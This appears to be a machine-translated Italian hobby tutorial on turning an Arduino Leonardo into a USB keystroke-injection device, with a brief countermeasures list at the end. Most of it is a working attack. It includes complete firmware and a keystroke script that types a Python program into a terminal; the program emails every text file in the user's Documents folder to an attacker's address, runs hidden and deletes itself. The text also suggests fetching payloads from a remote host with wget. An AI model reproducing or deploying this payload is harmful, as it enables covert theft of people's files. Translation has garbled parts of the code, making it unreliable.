Arduino Keyboard Exploit Demo (HID) e prevenzione: 4 passaggi (con immagini)

2024 Autore: John Day | [email protected]. Ultima modifica: 2024-01-30 10:04

In questo progetto utilizzeremo un arduino leonardo per simulare un possibile attacco USB utilizzando HID (dispositivo di interfaccia umana).

Ho creato questo tutorial non per aiutare gli hacker ma per mostrarvi alcuni pericoli reali e come proteggervi da quei pericoli. Questo dispositivo non è un dispositivo che può essere utilizzato su qualsiasi piattaforma per gli hacker, è più una prova di concetto in dettaglio.

Impareremo quanto segue:

- come usare arduino leonardo per emulare la tastiera

- come leggere i dati dalle schede SD

- come creare uno script Python che scansiona i file e li invia tramite e-mail

- come proteggersi dai dispositivi di hacking USB

Passaggio 1: materiali

Parti:

1. Arduino Leonardo

2. lettore di schede micro USB

3. una scheda SD da pochi GB

4. pulsante come questo (VCC, Ground e signal)

5. cavi jumper femmina-maschio e femmina-femmina

6. Cavo da micro USB a USB

Passaggio 2: creazione del dispositivo

Prima delle istruzioni per la costruzione, esaminiamo il principio di funzionamento:

Arduino leonardo può comportarsi come un dispositivo di interfaccia umana (HID) e quindi può emulare mouse e tastiera. Useremo questa funzione per aprire un terminale (in UBUNTU linux) e scrivere un piccolo script che accederà alla cartella /Documents all'interno della cartella home dell'utente, copiando i file.txt e inviandoli via email a qualcuno. Se vuoi scoprire maggiori dettagli controlla il passaggio successivo.

Poiché si tratta di un dispositivo demo, le cose sono davvero semplici, non salderemo nulla.

Istruzioni per la costruzione

Prima di iniziare, controlla i file allegati, ho allegato schemi fritzing e tutti i file necessari

1. Assemblare i componenti:

* collegare il cavo micro USB nell'arduino

* collegare l'interruttore a chiave all'arduino (massa, vcc e modulo out a D8)

* collegare il lettore di schede all'arduino (usando l'intestazione ICSP). Arduino leonardo non ha l'intestazione ICSP collegata ai pin digitali, quindi dovrai collegare il lettore di schede all'intestazione ICSP. Puoi trovare alcuni disegni dell'ICSP qui: https://learn.sparkfun.com/tutorials/installing-an…. Collegare il pin SS al pin digitale 10

2. prendi il codice arduino, puoi clonare il mio repository arduino su github: https://github.com/danionescu0/arduino e vai su project/keyboard_exploit o scaricalo da sotto:

#include "Tastiera.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Comando::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup() { pinMode(buttonPin, INPUT); Serial.begin(9600); Keyboard.begin(); if (!SD.begin(chipSelect)) { Serial.println("Scheda non riuscita o non presente!"); Restituzione; } } void loop() { int buttonState = digitalRead(buttonPin); if ((buttonState != previousButtonState) && (buttonState == HIGH)) { sdFileToKeyboard(); Serial.println("Caricato!"); ritardo (500); } precedenteButtonState = buttonState; } void sdFileToKeyboard() { File dataFile = SD.open(filenameOnCard); if (!dataFile) { Serial.println("Il nome file specificato non è presente sulla scheda SD, controlla filenameOnCard !"); } Riga di stringa; while (dataFile.available()) { line = dataFile.readStringUntil('\n'); Serial.println(line); sendToKeyboard(line); } dataFile.close(); } void sendToKeyboard(String line) { String workingLine = line; if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(line); Restituzione; } if (workingLine.indexOf(commandStartingPoint) == -1) { Serial.print("Text:");Serial.println(line); Keyboard.println(line); premere Invio(); Restituzione; } Serial.println("Comando:"); int charPosition = commandStartingPoint.length(); int lineLength = line.length(); linea di lavoro += ", "; while (workingLine != "") { workingLine = workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition = workingLine.indexOf(", "); String command = workingLine.substring(0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (comando != "") { Serial.print("Comando trovato:");Serial.println(comando); Keyboard.press(getCommandCode(command)); delay(delayBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands); } void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } void sleepFor(String line) { int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Dormito per:");Serial.println(sleepAmount); delay(sleepAmount); } char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); codice char = textCharacters[0]; codice = (testo == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL: codice; codice = (testo == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT: codice; codice = (testo == "KEY_LEFT_ALT") ? KEY_LEFT_ALT: codice; codice = (testo == "KEY_UP_ARROW") ? KEY_UP_ARROW: codice; codice = (testo == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW: codice; codice = (testo == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW: codice; codice = (testo == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW: codice; codice = (testo == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI: codice; codice = (testo == "KEY_BACKSPACE") ? KEY_BACKSPACE: codice; codice = (testo == "KEY_TAB") ? KEY_TAB: codice; codice = (testo == "KEY_RETURN") ? KEY_RETURN: codice; codice = (testo == "KEY_ESC") ? KEY_ESC: codice; codice = (testo == "KEY_INSERT") ? KEY_INSERT: codice; codice = (testo == "KEY_DELETE") ? KEY_DELETE: codice; codice = (testo == "KEY_PAGE_UP") ? KEY_PAGE_UP: codice; codice = (testo == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN: codice; codice = (testo == "KEY_HOME") ? KEY_HOME: codice; codice = (testo == "KEY_END") ? KEY_END: codice; codice = (testo == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK: codice; codice = (testo == "KEY_F1") ? KEY_F1: codice; codice = (testo == "KEY_F2") ? KEY_F2: codice; codice = (testo == "KEY_F3") ? KEY_F3: codice; codice = (testo == "KEY_F4") ? KEY_F4: codice; codice = (testo == "KEY_F5") ? KEY_F5: codice; codice = (testo == "KEY_F6") ? KEY_F6: codice; codice = (testo == "KEY_F7") ? KEY_F7: codice; codice = (testo == "KEY_F8") ? KEY_F8: codice; codice = (testo == "KEY_F9") ? KEY_F9: codice; codice = (testo == "KEY_F10") ? KEY_F10: codice; codice = (testo == "KEY_F11") ? KEY_F1: codice; codice = (testo == "KEY_F12") ? KEY_F2: codice;

codice di ritorno;

}

3. Carica il codice su arduino, assicurati di selezionare 9600 baud rate, la porta seriale e arduino leonardo

4. Formattare la scheda SD utilizzando FAT16 o FAT32

5. Se hai clonato il repository github dall'alto, copia il file hack.txt sulla scheda, in caso contrario il file è elencato di seguito:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep::500 vi hack.py Sleep::300 Command::KEY_INSERT import smtplib import glob, os from os.path import expanduser da email. MIMEMultipart import MIMEMultipart da email. MIMEBase import MIMEBase da email. MIMEtext import MIMEtext from email. Utils import COMMASPACE, formatdate from email import Encoder

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documenti'

soggetto = corpo = 'File dal computer hackerato'

header = 'A:{0}\nDa: {1}\nOggetto: {2}\n'.format(a_address, smtp_user, soggetto)

def sendMail(to, oggetto, testo, files=):

msg = MIMEMultipart() msg['From'] = smtp_user msg['To'] = COMMASPACE.join(to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = soggetto msg.attach (MIMEText(text)) per file in files: part = MIMEBase('application', "octet-stream") part.set_payload(open(file, "rb").read()) Encoders.encode_base64(part) part. add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part)

server = smtplib. SMTP('smtp.gmail.com:587')

server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()

sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))

Sleep::50 Command::KEY_ESC Sleep::100:x Sleep::500 nohup python hack.py & Sleep::700 rm -rf hack.py Sleep::400 Command::KEY_LEFT_ALT, KEY_F4

6. Modifica le seguenti righe:

smtp_user = 'sender_email_addr'

smtp_pass = 'password_mittente' to_address = 'indirizzo_destinatario'

E sostituisci con i tuoi indirizzi email

7. Rimuovere la scheda e inserirla nel lettore di schede arduino

Passaggio 3: come funziona nei dettagli

Come funzionerà l'attacco:

1. Quando si preme il pulsante, il Leonardo leggerà la scheda SD utilizzando un lettore di schede SD. Sulla carta sarà presente un apposito file contenente chiavi e combinazione di tasti. Il nome del file è "hack.txt".

Il file può contenere testo non elaborato e verrà passato alla tastiera così com'è.

Inoltre può contenere comandi speciali come "Sleep::" e "Command::".

Una riga come:

Sleep::200 significa un sonno di 200 ms

Una riga come:

Comando::KEY_LEFT_CTRL, KEY_LEFT_ALT, t significa ctrl sinistro premuto, alt sinistro premuto, t premuto e tutto rilasciato

Puoi controllare tutte le chiavi speciali qui:

2. Leonardo leggerà riga per riga, interpreterà i comandi ed emulerà i tasti della tastiera. Il file "hack.txt" contiene una combinazione di chiavi che fa quanto segue (per Linux UBUNTU):

un. apre un terminale (CTRL + ALT + T)

B. apre un file python per la creazione usando vi (scrive "vi hack.py"

C. scrive uno script Python all'interno che raccoglie tutti i file di testo all'interno della cartella home dei documenti e li invia a un indirizzo gmail specificato

D. esegue il file in background ("nohup python hack.py &")

e. elimina il file (rm -rf hack.py)

F. chiude il terminale (ALT + F4)

Il tutto funziona in pochi secondi e non lascia tracce.

Miglioramenti e risoluzione dei problemi

* Potresti aver notato che dopo aver aperto un terminale sto scrivendo il file python. un modo migliore per farlo sarà ospitarlo da qualche parte e scaricarlo usando il comando "wget some_url", quindi rinominarlo in hack.py

* Inoltre possiamo scaricare o eseguire un exploit già pronto per il sistema operativo di destinazione

* il wifi può essere aggiunto al modulo e gli hack possono essere caricati tramite WIFI

* puoi usare arduino micro (che è molto più piccolo) e incorporare codice exploit su di esso (per renderlo più piccolo)

Limitazioni

1. Poiché il dispositivo simulato (tastiera e mouse) non ha alcun feedback, non sappiamo cosa accadrà dopo aver emesso un comando, il che significa che dobbiamo utilizzare i ritardi. Ad esempio, sto emettendo un comando per aprire il terminale, ma non so quando sarà effettivamente aperto, quindi devo specificare un ritardo arbitrario per garantire che i caratteri digitati dopo non vadano persi.

2. Potremmo riscontrare problemi di autorizzazione come non avere accesso alla porta USB o l'autorizzazione per installare qualcosa

3. La velocità di digitazione non è eccezionale su leonardo

4. Funzionerà solo su un sistema operativo mirato (nel nostro caso UBUNTU linux)

Nel passaggio successivo cercheremo di trovare modi per sfruttare queste limitazioni per impedire che il nostro computer venga hackerato

Passaggio 4: contromisure

1. Disabilitazione delle porte USB

- per Windows puoi controllare questo tutorial:

2. Lista bianca dispositivi USB:

- per Windows:

2. Blocca il computer quando non sei via

3. Non accedere come root (richiedi password per installare qualsiasi cosa)

4. Tieniti aggiornato (aggiornamenti automatici attivi)